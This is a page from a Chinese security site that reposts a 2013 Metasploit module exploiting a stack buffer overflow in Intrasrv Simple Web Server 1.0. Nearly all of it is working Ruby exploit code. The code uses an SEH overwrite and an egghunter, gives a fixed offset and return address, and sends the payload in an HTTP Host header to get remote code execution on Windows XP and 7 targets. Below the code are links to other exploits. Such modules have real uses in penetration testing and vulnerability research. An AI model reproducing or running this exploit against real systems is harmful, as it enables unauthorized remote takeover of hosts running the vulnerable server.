首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Intrasrv 1.0 Buffer Overflow
来源:metasploit.com 作者:xis_one 发布时间:2013-08-15  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Egghunter

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Intrasrv 1.0 Buffer Overflow",
			'Description'    => %q{
				This module exploits a boundary condition error in Intrasrv Simple Web
				Server 1.0. The web interface does not validate the boundaries of an
				HTTP request string prior to copying the data to an insufficiently large
				buffer. Successful exploitation leads to arbitrary remote code execution
				in the context of the application.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'xis_one', # Discovery, PoC
					'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit
				],
			'References'     =>
				[
					['OSVDB', '94097'],
					['EDB','18397'],
					['BID','60229']
				],
			'Payload'        =>
				{
					'Space' => 4660,
					'StackAdjustment' => -3500,
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "thread"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['v1.0 - XP / Win7',
						{
							'Offset' => 1553,
							'Ret'    => 0x004097dd #p/p/r - intrasrv.exe
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 30 2013",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptPort.new('RPORT', [true, 'The remote port', 80])
				], self.class)
	end

	def check
		begin
			connect
		rescue
			print_error("Could not connect to target!")
			return Exploit::CheckCode::Safe
		end
		sock.put("GET / HTTP/1.0\r\n\r\n")
		res = sock.get_once

		if res =~ /intrasrv 1.0/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		# setup egghunter
		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
			:checksum=>true
		})

		# setup buffer
		buf = rand_text(target['Offset']-126)         # junk to egghunter at jmp -128
		buf << hunter                                 # egghunter
		buf << rand_text(target['Offset']-buf.length) # more junk to offset
		buf << "\xeb\x80" + rand_text(2)              # nseh - jmp -128 to egghunter
		buf << [target.ret].pack("V*")                # seh

		# second last byte of payload/egg gets corrupted - pad 2 bytes
		# so we don't corrupt the actual payload
		egg << rand_text(2)

		print_status("Sending buffer...")
		# Payload location is an issue, so we're using the tcp mixin
		# instead of HttpClient here to maximize control over what's sent.
		# (i.e. no additional headers to mess with the stack)
		connect
		sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n")
		disconnect
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MiniWeb (Build 300) Arbitrary
·Java storeImageArray() Invalid
·Ultra Mini HTTPD Stack Buffer
·Cisco WebEx One-Click Client P
·Chasys Draw IES Buffer Overflo
·Cogent DataHub HTTP Server Buf
·Joomla Media Manager File Uplo
·Mozilla Firefox 3.5.4 - Local
·MinaliC Webserver 2.0.0 - Buff
·Mozilla Firefox 3.6 - Integer
·onehttpd 0.7 - Denial of Servi
·VLC Player 2.0.8 (.m3u) - Loca
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved